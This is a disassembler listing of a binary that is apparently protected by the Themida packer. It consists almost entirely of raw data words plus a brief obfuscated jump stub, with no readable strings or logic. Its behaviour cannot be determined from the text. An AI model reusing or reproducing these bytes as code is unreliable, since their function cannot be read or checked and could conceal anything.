		dd 0ECD845h, 0B3F1DDB5h, 1502DDF8h, 16B1EAECh, 0DD03CB83h
		dd 0BD831E7h, 5F7AF30Dh, 2EE41094h, 5BD749A8h, 879B5D3Eh
		dd 8933D71Ah, 65E70A97h, 83180391h, 0C8154DE6h,	0AC3529DCh
		dd 0ECF569EFh, 0FE9B9305h, 0AC9805F3h, 3F5C45D9h, 0B53CA5B9h
		dd 0FCDh, 0EB15FE00h, 71CA3B74h, 0F36F9A19h, 0C48FF9FDh
		dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h
		dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 6C68685Dh
		dd 8F540000h, 4812404h,	424h, 0E3895300h, 4C381h, 0EB830000h
		dd 241C8704h, 242C895Ch, 6FBF68h, 243C8900h, 3BACD368h
		dd 242C8B09h, 5404C483h, 81243C8Bh, 4C4h, 359A6800h, 2C890000h
		dd 8478F24h, 5F2434FFh,	4C481h,	2C8B0000h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0F9C0BBE9h, 0C22402FFh
		dd 18DDD3h, 0ABB8122Ah,	3093BBDh, 0E8E0FFC5h, 8B2C310Bh
		dd 1726087Ah, 0FC5D1FEDh, 12745FE2h, 0BF4325BFh, 4A51BC90h
		dd 0BB02C05Ch, 0BC57BE6Ch, 4F076736h, 0C060FFA2h, 8D7E6A06h
		dd 3BBF248Dh, 48D0F09h,	66000000h, 895F98B8h, 3516298Dh
		dd 51006A09h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0C99D31DEh, 60093504h, 1F1DBD89h, 5E560935h
		dd 7D85C761h, 2C093528h, 6600005Ah, 0C70E42BAh,	35225585h
		dd 9, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0FFE08D38h, 114E8720h, 0F5B5FFB6h
		dd 6A09352Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 5DE8C352h, 6970FA1Eh, 0FF34E422h
		dd 350D0595h, 11E909h, 6EE40000h, 0A353C7DCh, 0AFC87E0Eh
		dd 0AB1BE959h, 6A8031B5h, 2995FF00h, 8B093508h,	710DEBC0h
		dd 3FF26266h, 38A766DCh, 3B931896h, 11E8h, 0E162EF00h
		dd 384C4173h, 8E1B06C5h, 129E67B4h, 0B58BB4F9h,	9350191h
		dd 0E59D8B5Fh, 8109350Dh, 73C4C7h, 9D8B6000h, 93516C9h
		dd 31A98501h, 0B9610935h, 1CD0h, 1D92F681h, 37FF1473h
		dd 30B5BD89h, 0BB5A0935h, 5F4671ABh, 3475C281h,	8D896E56h
		dd 93506C9h, 1F67EA81h,	0DC8036D0h, 0B9C28151h,	530CB7B7h
		dd 0E1D850Bh, 895B0935h, 5AC68117h, 83624235h, 0E98304EFh
		dd 0BB850F01h, 81FFFFFFh, 0CCC3A9F6h, 7E80Dh, 0B0000h
		dd 14A51A67h, 0D2BF0FD6h, 0B5895258h, 935302Dh,	0DEC0815Fh
		dd 6000006Eh, 8BA850BAh, 0DB2B6143h, 6830Fh, 0BD8B0000h
		dd 93511B1h, 560334FFh,	1C85D281h, 595A2A77h, 0FCF78166h
		dd 5C1813Ah, 0E943D693h, 0Ah, 0C96696CEh, 657F6255h, 0C181009Eh
		dd 17A491B9h, 0E82CF181h, 0BD237720h, 9353041h,	0E9180C89h
		dd 0Ah,	0BF2F5534h, 32A40981h, 8957856Bh, 3503A98Dh, 0EB815E09h
		dd 54CDA8DEh, 0A8DAC381h, 0FB8154CDh, 0FFFF91BCh, 0FF96850Fh
		dd 9D89FFFFh, 9350195h,	0C13C8D8Dh, 6A093Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0EF9A78C3h
		dd 0B589B470h, 93516ADh, 16298D89h, 0C78B0935h,	287D85C7h
		dd 5F140935h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0F6409CC3h, 0B529040Bh, 93505CDh
		dd 225585C7h, 935h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 190424h, 56460000h, 0B3EE27C3h, 52D44CBDh
		dd 15B531h, 0FF580935h,	350041B5h, 0C5B58909h, 0FF09350Eh
		dd 350D0595h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 8074699Ah, 1958BB9h, 6A09350Ch, 2995FF00h
		dd 8B093508h, 2B2DEBC0h, 0BF522412h, 2595528Ah,	7B92ED3h
		dd 3E27E353h, 0F4CF924Fh, 982A6629h, 0E2242229h, 0CB209C7h
		dd 0D13083D8h, 25DC147Bh, 0AF18534h, 8EBh, 74D40000h, 9BE9574Dh
		dd 68000004h, 93BC258h,	0F9BD4FE9h, 0C2DB68FFh,	45E9093Bh
		dd 68FFF9BDh, 93BC42Fh,	0F9BD3BE9h, 298EACFFh, 6871EC74h
		dd 27B2AD33h, 6D6A0276h, 28B1A830h, 37D3A873h, 7E029B3Eh
		dd 35ABF0E5h, 7BFD9E3Bh, 0AFA1FAE7h, 80FBC1DFh,	0DEEF12FAh
		dd 0AB2E47DDh, 3F58D448h, 0DD56685Eh, 1EA93CB8h, 39588646h
		dd 9F150361h, 646AFAF9h, 2513011Eh, 9AF3D4C0h, 0D092851Ch
		dd 4EA6332Eh, 2E1A7h, 0A49E800h, 0DEE4FACEh, 0DA1C3641h
		dd 29520D4h, 0CD5C824Ah, 0EB150354h
		dd 9C8B59C5h, 83D81E0Ch, 2E745830h, 20B2DB4Fh, 43D023C5h
		dd 6E349870h, 179DFAC0h, 0C2273CBEh, 36BE30ADh,	22666688h
		dd 0CDEB8698h, 3531F82Dh, 2EA0549Ah, 80F8A532h,	5FF3F3ECh
		dd 7EDDEFFAh, 2F80BF3h,	4DEF0000h, 0B0AD3368h, 73EC7429h
		dd 0ABC33566h, 72EB6D2Eh, 0C7D3667h, 0A9F2E77Eh, 4993C37h
		dd 0A8F5E27Ch, 0FAA33C30h, 62687656h, 5612FA7Fh, 9B2E8645h
		dd 0D4B30BC3h, 0A6C8FF91h, 0EBF9A551h, 150C9C35h, 0AE3B37C9h
		dd 20CE20B5h, 801D12ACh, 6307EF71h, 29B7C059h, 12FB1BA3h
		dd 2190E397h, 0AC2737E3h, 34A5BC42h, 61FE1BAh, 0E00E8BA3h
		dd 550E8311h, 0E22DA8Eh, 0F4735591h, 872AE063h,	2759Fh
		dd 0E9CE6C00h, 0A8312CB4h, 0E7F26DF3h, 0AD2A42B6h, 0E8F168F0h
		dd 0F793E8B3h, 0BE425B7Eh, 0F56B30A5h, 0BB3D5E7Bh, 6F613AA7h
		dd 7F3B811Fh, 9E2F12FAh, 0C39B2E1Dh, 8343D50Bh,	3FC1150Dh
		dd 0B83CB722h, 9160863Ch, 435ED3EDh, 809B1DB3h,	95C12FAh
		dd 0BF0B421Bh, 0A75C928Bh, 26000001h, 0F3FE9B94h, 47DE8571h
		dd 0D143AE2Bh, 367C225Dh, 321C3641h, 416E548Ah,	446A1C36h
		dd 885744AAh, 2569653Dh, 0E115809Bh, 3640C53h, 73EE0015h
		dd 16839866h, 458B19D8h, 7513011Bh, 9E12E1F8h, 6EE21186h
		dd 8A0EE5F2h, 0F8C1B350h, 2C3021EDh, 325F91EDh,	535B245Ch
		dd 3D9AD49Ah, 5F786CB9h, 9285452Eh, 3839h, 0EB159A00h
		dd 0F78A6A77h, 0CAD8F4ACh, 1503725Bh, 64F4FFA1h, 13011162h
		dd 0F5D2C223h, 11C10B99h, 33B51301h, 29F21BC3h,	48789285h
		dd 0FA2998D6h, 0D48373D2h, 0A9h, 0AE2B47B3h, 4158D143h
		dd 22C00CB2h, 1C364198h, 70EA0A8Ch, 9C10E3FCh, 0B6861780h
		dd 1C3646C2h, 0B8E5F26Eh, 8C49C27h, 3CB8E1B8h, 0FBFB0C9Ah
		dd 0E9817B4Fh, 0E36E04F0h, 0A115016Ch, 0AFDC7DDh, 0F7F912FFh
		dd 322BD5F9h, 0EB82F6A7h, 9400F6EEh, 169DF2D6h,	1212Ch
		dd 9D3A1800h, 0FCE57800h, 5B46D99Fh, 31A6BE42h,	5C7DF46Ch
		dd 8307743Fh, 2AAEEFEAh, 81F7A431h, 37A9F2EFh, 4BFD9E3Bh
		dd 7D575D83h, 425312FAh, 892E4781h, 41159F45h, 8F111C36h
		dd 36416F55h, 7D456B1Ch, 0D9B57372h, 0DBC02E38h, 0B900925h
		dd 75EB1528h, 1E128C68h, 62FE7281h, 0C972875h, 0EF867854h
		dd 718507EAh, 0DAF17CDh, 1A71503h, 0D9E301CDh, 0CD1300F5h
		dd 4B7F2BCBh, 0D521B8B1h, 0C6D7C25Bh, 5247DEE0h, 0F5AA0CA2h
		dd 46DA1300h, 8B197559h, 1300F541h, 0F51BA13Fh,	890F1300h
		dd 6C41B53Bh, 955C7DF4h, 75ADh,	9B2EDE00h, 3FD50BC3h, 0BB150D83h
		dd 60E99935h, 0DEBA9F2Dh, 0E458D71Fh, 8A4E4F48h, 5AEA0996h
		dd 39057F0Fh, 12E5CF4Eh, 641C811Eh, 0B024CFC8h,	0A3362FB8h
		dd 0CF22CC50h, 0F58074E1h, 0E3FC7079h, 0AE155E10h, 0B0685354h
		dd 0A21CB03Eh, 3EE40F8Ch, 0E84B1AA0h, 66880EC4h, 2B47B98Eh
		dd 18A2408Ch, 0CC4E84Bh, 4B72588Ah, 4066C4E8h, 35B43AEh
		dd 0AC000000h, 1547844Fh, 53CF41B0h, 2739AB46h,	0AEC537BAh
		dd 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h
		dd 565D2AC9h, 0C681E689h, 4, 8704EE83h,	895C2434h, 89562414h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 242C895Ch, 17AC68h
		dd 240C8900h, 4BC668h, 24048900h, 5900C768h, 86055844h
		dd 483D5E4Dh, 0E705D8F7h, 898AF30Fh, 0EC8358C5h, 24248904h
		dd 4240483h, 8BB5359h, 81000000h, 0DC5025EBh, 81CB0112h
		dd 0DC5025C3h, 5B2B8912h, 51240C8Bh, 0C181E189h, 4, 4C181h
		dd 0C870000h, 2C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		db 4, 0B8h, 75h
		dd 3093BC5h, 2FE0FFC5h,	397AEF79h, 252AE25Fh, 8F2DA461h
		dd 2843C907h, 81EA5AEh,	7F3012B9h, 8B6FCE2Eh, 0CC4420DDh
		dd 9400B836h, 915B789h,	514E5D7Ch, 1E7E5h, 6D52328Ch, 6C783454h
		dd 1867440Ch, 9932A1E5h, 3530F918h, 5352951h, 0E769B6BDh
		dd 0E80620CFh, 0Ah, 7A5E04C3h, 6259A6C1h, 0EE8AE0DBh, 5830F5Ah
		dd 66000000h, 62B2C881h, 66DFC281h, 0B9520000h,	668D38Ah
		dd 0E9DB335Fh, 9, 22EE3478h, 0A722AA43h, 1A348BF4h, 0E061D181h
		dd 0C6816A53h, 0A3A6931h, 0C681C68Bh, 0D89CCE0h, 8157D180h
		dd 0F6AA73F6h, 0B3CF810Dh, 5675A060h, 0F1A048Fh, 28Ch
		dd 0B1FB8B00h, 3EB83CFh, 12E8h,	686EB800h, 977ABC58h, 5B7821A2h
		dd 67D38CD1h, 0FC963DB7h, 81FC4B58h, 0FF99B4FBh, 0A2850FFFh
		dd 66FFFFFFh, 0E81F19BFh, 5, 34F330F5h,	0FBBF663Bh, 0BE66598Bh
		dd 0C181A316h, 6E1Ah, 0BAF08B66h, 0
		dd 9E9h, 50A7CE00h, 744458E0h, 48B70FDh, 8820F11h, 0F000000h
		dd 28Fh, 81616000h, 0E8817FF0h,	0A0C0810Bh, 0F5998F6h
		dd 0C081F6B7h, 210C5049h, 1F5327BBh, 1104890Dh,	83DBBF0Fh
		dd 0AE904EAh, 1D000000h, 24036B30h, 0B58A086Dh,	0B8FA81FAh
		dd 0FFFFF92h, 1985h, 4860F00h, 66000000h, 0E9FDA9BFh, 4Eh
		dd 303F767Ah, 0AEC827DDh, 0BE81157h, 64000000h,	1AD5467Eh
		dd 0B8CBC42Bh, 0E9604D2Ch, 0Eh,	14B4655Dh, 0B1220407h
		dd 9DB7C7C0h, 60BB507Bh, 611BB220h, 0FF68E95Eh,	0AF92FFFFh
		dd 0D7A9D423h, 54B357B0h, 81AD442Fh, 9ACCF1EFh,	0C08B714Bh
		dd 26A1BD83h, 75000935h, 79BD8309h, 93530h, 53501974h
		dd 21B8C08Bh, 89000004h, 352AC185h, 389D8D09h, 0FF0937B4h
		dd 83585BD3h, 353079BDh, 17740009h, 21B85350h, 89000004h
		dd 352AC185h, 279D8D09h, 0FF0937B1h, 8B585BD3h,	0E99D8BC0h
		dd 0C6093531h, 35179D85h, 52685609h, 0FF9CA8B8h, 35167DB5h
		dd 70858D09h, 0FF09387Bh, 68046AD0h, 1000h, 0DD1B5FFh
		dd 6A0935h, 0C085D0FFh,	0D850Fh, 0B80000h, 8D000000h, 3570998Dh
		dd 8BE1FF09h, 3C38BC8h,	0F8053C40h, 8B000000h, 0D3030C50h
		dd 2701BD83h, 0F000935h, 0E84h,	19D8B00h, 8B093527h, 3507E985h
		dd 51038909h, 3F858D52h, 0FF09357Ah, 8BFA8BD0h,	8BD18BF1h
		dd 0C6A4F3C8h, 35179D85h, 39685609h, 0FFD41F6Dh, 35167DB5h
		dd 70858D09h, 0FF09387Bh, 800068D0h, 6A0000h, 8BD0FF52h
		dd 0A1BD83C0h, 93526h, 0BD830975h, 9353079h, 50197400h
		dd 0B8C08B53h, 421h, 2CA98589h,	9D8D0935h, 937B49Fh, 585BD3FFh
		dd 3079BD83h, 74000935h, 0B8535017h, 421h, 2CA98589h, 9D8D0935h
		dd 937B140h, 585BD3FFh,	9D8DC08Bh, 9352701h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	4B41B818h, 8E80000h, 0B4000000h
		dd 7DFCF83Ah, 80A59876h, 0F591EDCh, 0C181DEBFh,	6176h
		dd 0E0B5E0BEh, 0B5EE817Ah, 0B07AE09Dh, 0E931FFFBh, 14h
		dd 0B87E7E4Ch, 760074E9h, 0CDBDBA05h, 5314102Ch, 0A8FA269Eh
		dd 0FDF3BB5Fh, 0EF8116D7h, 7F2936F5h, 0F781C38Bh, 722D16EEh
		dd 0EF81C68Bh, 0E8092D1h, 74D88166h, 80398979h,	0E983D7E0h
		dd 12E904h, 66570000h, 0FD1ACF38h, 0EB33186h, 391589CEh
		dd 87C41763h, 0F01EE83h, 2985h,	0CB806000h, 6E85Dh, 0B6840000h
		dd 0A40A1678h, 10E03B9h, 0E9615847h, 2Dh, 0E68593A2h, 4E8E15ECh
		dd 9E93CD5Ah, 0AE9B7E6h, 14000000h, 605376A6h, 75489DB2h
		dd 0FF5FE9D7h, 0D598FFFFh, 50A1A8FCh, 635D579Ah, 3BE91Bh
		dd 8B600000h, 3522E5BDh, 4EF8309h, 0C18BC933h, 0B88320BBh
		dd 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h
		dd 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh, 0FEC88BC3h
		dd 0B131FCAh, 4F9B9CA8h, 0B105A8Ah, 0EAD5ABA8h,	0B103275h
		dd 4F989AA8h, 0AE5DBA8Ah, 4F997757h, 0B11228Ah,	0EAD5ABA8h
		dd 0B11F575h, 4F99A5A8h, 0B16778Ah, 4F9E27A8h, 0B16E98Ah
		dd 0EAD5ABA8h, 0D42F2575h, 1C119F24h, 9BC1C003h, 90A75D93h
		dd 58998E70h, 0DF4DD121h, 0D42F4CB1h, 1C1198F9h, 9BC9C003h
		dd 90A75D93h, 58998923h, 0DF59D121h, 0D42F4CB1h, 1C1199A8h
		dd 9BD5C003h, 90A75D93h, 589988DFh, 0DF55D121h,	0D42F4CB1h
		dd 1C119931h, 9B21C003h, 90A75D93h, 58998868h, 0DFA1D121h
		dd 0D42F4CB1h, 1C119A8Bh, 9B2DC003h, 90A75D93h,	58998BEEh
		dd 0DFB9D121h, 0D42F4CB1h, 1C119A0Dh, 9B35C003h, 90A75D93h
		dd 58998B54h, 0DFB1D121h, 0B8C34CB1h, 152A5012h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 53C0D5F2h, 96AB7E41h,	152AA8EDh
		dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h,	5564C6CBh
		dd 0EAD5BA41h, 0AE63CE75h, 2035653Ah, 53428483h, 0EA2211ABh
		dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h
		dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h
		dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 1C11BA62h, 1129475h
		dd 0DFA0D902h, 0AEAB7E64h, 51A1EC79h, 0DC0941AEh, 2EC49E22h
		dd 3773BA83h, 732ADF10h, 9B28C821h, 0EA236F46h,	152BFD5Bh
		dd 9881508Ch, 6A4C8F00h, 0A5FBABA1h, 2C89EFD2h,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 13C0D5F2h, 0DAAB7E46h, 68A15CDDh, 0ADE78286h, 152A54A8h
		dd 3430BACCh, 9E2361B3h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h
		dd 0DFA0D9F9h, 0AEAB7E64h, 949A0D79h, 551A2320h, 8481328Ch
		dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 15C23454h, 0BA2458Ah, 0D977BE29h, 24294CB1h,	1957DFA0h
		dd 515E004Dh, 532A54A8h, 4AC7D775h, 0CDA15D9Dh,	0FC69CE19h
		dd 0A5B9979Bh, 0FA31EFE2h, 0DFA0D9F9h, 0AEAB7E64h, 949A0D79h
		dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
		dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
		dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h,	51A2454Ah
		dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah,	9025862Dh
		dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h,	0D8AE38A1h
		dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h,	1D5FDFC8h
		dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h,	0FD627658h
		dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h
		dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh
		dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h
		dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h,	0B2229D00h
		dd 85E1D4A7h, 0DC088600h, 2EC49E22h, 0E173BA83h, 9FA7FEF8h
		dd 5899AB40h, 0D6A08557h, 5DDF6E20h, 74D62921h,	985E0001h
		dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
		dd 0E9A2458Ah, 152A54AFh, 4E93D775h, 45265D9Dh,	9B28C820h
		dd 0EA236F46h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh
		dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah,	87D5FE04h
		dd 58975EEFh, 17868C23h, 0DB2FEF49h, 1C11BA62h,	0E9C49475h
		dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h,	1DE89D54h
		dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h
		dd 0EA80F8A8h, 64B92018h, 0B9E2DFA1h, 0DC088558h, 2EC49E32h
		dd 3771BA83h, 73E39410h, 0FB63CF21h, 9C262983h,	0DAC3B9F7h
		dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0BF8654A8h, 4AC7D775h, 0DDA15D9Dh, 0FB637726h
		dd 0FBE0CE25h, 825D4CB1h, 0E4AAECCEh, 9028EEECh, 19577F02h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 0DFB0D903h
		dd 0AEAB7E64h, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h
		dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh
		dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 5899AB40h
		dd 0A09A8757h, 0FB0E0320h, 0FBE0CE25h, 825D4CB1h, 0D8ACECCEh
		dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah
		dd 3BC0D5F2h, 96AB7E45h, 152AA8EDh, 2429458Ah, 1957DFA0h
		dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah
		dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah
		dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h
		dd 0DF49CE25h, 0DCF14CB1h, 2EE16E32h, 0D871BA83h, 42C3A8EDh
		dd 0AEA2458Ah, 60D558DDh, 2238C882h, 46236F62h,	9A98DF07h
		dd 0C6D55D93h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
		dd 58998FF5h, 2FB0D9FBh, 0AEAB7E41h, 0E96FDD7Bh, 51A25863h
		dd 195FABA8h, 0DCAA3075h, 2EE0DF32h, 0CB2F1683h, 1C119F92h
		dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
		dd 0E9000030h, 2Ah, 2404C7h, 0E8000000h, 0
		dd 0AED815Dh, 8B093BD0h, 89042444h, 3506C585h, 0B809h
		dd 8D8D0000h, 9354C02h,	54B8E1FFh, 8D000067h, 351BD99Dh
		dd 1434B809h, 85890000h, 93526D9h, 0E8h, 0D055800h, 89000000h
		dd 1434E903h, 50Dh dup(0)
		dd 16EB0000h, 5	dup(0)
		dd 3980101h, 93B0000h, 11E950h,	7B980000h, 7DBD2ACDh, 0FE183B4Dh
		dd 0ABBCB760h, 896B4BC4h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 5A9487C3h, 6A73EBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C9C35747h, 25CDB589h
		dd 6A0935h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 16h,	4BC35242h, 0B70FB9F5h, 50858DCEh, 6A093BE6h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0A7E3C355h, 122787EFh, 8AEE0C68h, 0F239E381h, 8D3139E2h
		dd 9350161h, 1DBA6690h,	0BF665079h, 6A90A604h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 28C3C353h, 97ED427Ch, 8D0FB7EFh, 16h, 11E9h,	0A2EB8B00h
		dd 0F7DE2D2Dh, 6324A943h, 1DBAE510h, 6AE30Fh, 13E8h, 8C22C100h
		dd 0F0A6B6FAh, 0A6DA1897h, 0C36A72ACh, 393AD7E3h, 13E9h
		dd 3849E200h, 0A127EC58h, 0A0723295h, 765D9082h, 97EB1B8h
		dd 55DF805Ah, 0F52006Ah, 1488h,	0EE800h, 0B69F0000h, 1A5BAB71h
		dd 7F0BFF31h, 3C141B54h, 95FF5A5Bh, 9350331h, 1C25BD89h
		dd 66600935h, 6E9DE8Bh,	97000000h, 0C870B353h, 0CDE96101h
		dd 6A000005h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0A2DFC356h, 0F2378D19h, 0E97A2EA2h
		dd 0Ch,	5CAC783Ch, 0FBD09F93h, 68A0988Bh, 0E8DF8Bh, 5D000000h
		dd 0E655ED81h, 0BF0F093Bh, 0FE9D1h, 191C0000h, 0AF164777h
		dd 0BFF89367h, 6ABEDBD0h, 0FCB568A7h, 0D38A3D93h, 15243481h
		dd 6A3D93F3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 9369C355h, 0FB1F3BBAh,	22258D8Bh
		dd 95FF0935h, 9350829h,	5820Fh,	81660000h, 8D2BFFDBh, 3BE486B5h
		dd 61953309h, 0C709350Fh, 67655206h, 57006A6Dh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8D8BECEBh
		dd 9352899h, 8119D31h, 46C70935h, 636E6F04h, 6E96Ch, 719B0000h
		dd 9B242116h, 610846C7h, 6A007373h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A2F76793h
		dd 59E36D41h, 0F58D2905h, 8D093528h, 3BE48685h,	0DB816609h
		dd 0E950867Eh, 13h, 0F61F6016h,	51F82598h, 774AD3C1h, 0C6966EBEh
		dd 89C62B6Ch, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 6BD4B5C3h, 1C6792D7h, 0B9600DB4h
		dd 61A8AD46h, 2173BA66h, 0F595FF61h, 8B093502h,	3516818Dh
		dd 0FC00B09h, 3284h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 6DD9893Ah, 858957ABh
		dd 93503F1h, 3C9E9h, 0B1BD0100h, 6809352Dh, 62E87E08h
		dd 0F87BB966h, 24243481h, 6A62E87Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5BA0C356h
		dd 0F1BAC3F9h, 0E924F509h, 0Fh,	0DF0735D3h, 71D021Dh, 67835DB7h
		dd 0FF2AB227h, 35082995h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8D5548FDh
		dd 3BE486B5h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 6F0E227Bh, 0A3BBE437h, 0F5126C9h
		dd 6C7D6B7h, 36343831h,	2DCDBD01h, 46C70935h, 342D3704h
		dd 51958B31h, 0C7093532h, 846h,	8D8B0000h, 935244Dh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 858D99C3h, 93BE486h,	0CD9B501h, 0E8900935h, 11h, 9D54A913h
		dd 0B33A114Ah, 0D2E5F8C9h, 45AFA4E4h, 38C0FB1h,	66000000h
		dd 505FCB8Bh, 0F8DEBB66h, 0E5BAFC90h, 0FF7C106Bh, 3502F595h
		dd 0A1952309h, 0B093512h, 29840FC0h, 89000000h,	351EDD8Dh
		dd 28CE909h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 339E96C3h, 4E8h,	12C00h,	2820F00h
		dd 0B3000000h, 605150C5h, 0FE8h, 9E17AD00h, 0F27B4742h
		dd 37036C3Eh, 0E67CAC98h, 615F575Fh, 24448B59h,	8B99B304h
		dd 6E800h, 0CA550000h, 0B797E517h, 5ACF8B66h, 4244489h
		dd 6A5845B2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 6FBAC355h, 0F6E41423h,	5C350607h
		dd 82995FFh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 860F3BC3h, 3, 0BFAB70Fh,	3511B99Dh
		dd 86B58D09h, 6A093BE4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0A251C351h,	0EC1D594Bh
		dd 0BB663EBAh, 6C71BCBh, 656C6946h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 4DC35040h, 10E976A4h, 1F000000h
		dd 532419ABh, 1929D16Eh, 0E94D6B3Ah, 8BF964F7h,	446C7F8h
		dd 636E6F6Dh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	15C35646h, 0C7D38B01h
aFLasss		db 'F',8,'lassХ',0Dh,0  ; DATA XREF: Themida_:00555DD5o
		db 2 dup(0), 0D9h
		dd 4D751E1Eh, 3475BF43h, 0FABA70D5h, 0C759FB8Bh, 0C46h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 2884E3C3h, 0EC796D27h, 13E9h, 408D9800h
		dd 0A2B796B1h, 0B711681h, 58BBB699h, 7A743B19h,	8B66006Ah
		dd 86858DF8h, 6A093BE4h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 5043C355h, 89CA8B66h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 458B06C3h, 10F680C5h, 0EBDB966h, 2F595FFh
		dd 0BA660935h, 0C00B78E4h, 4D840Fh, 6A0000h, 3E857h, 5F200000h
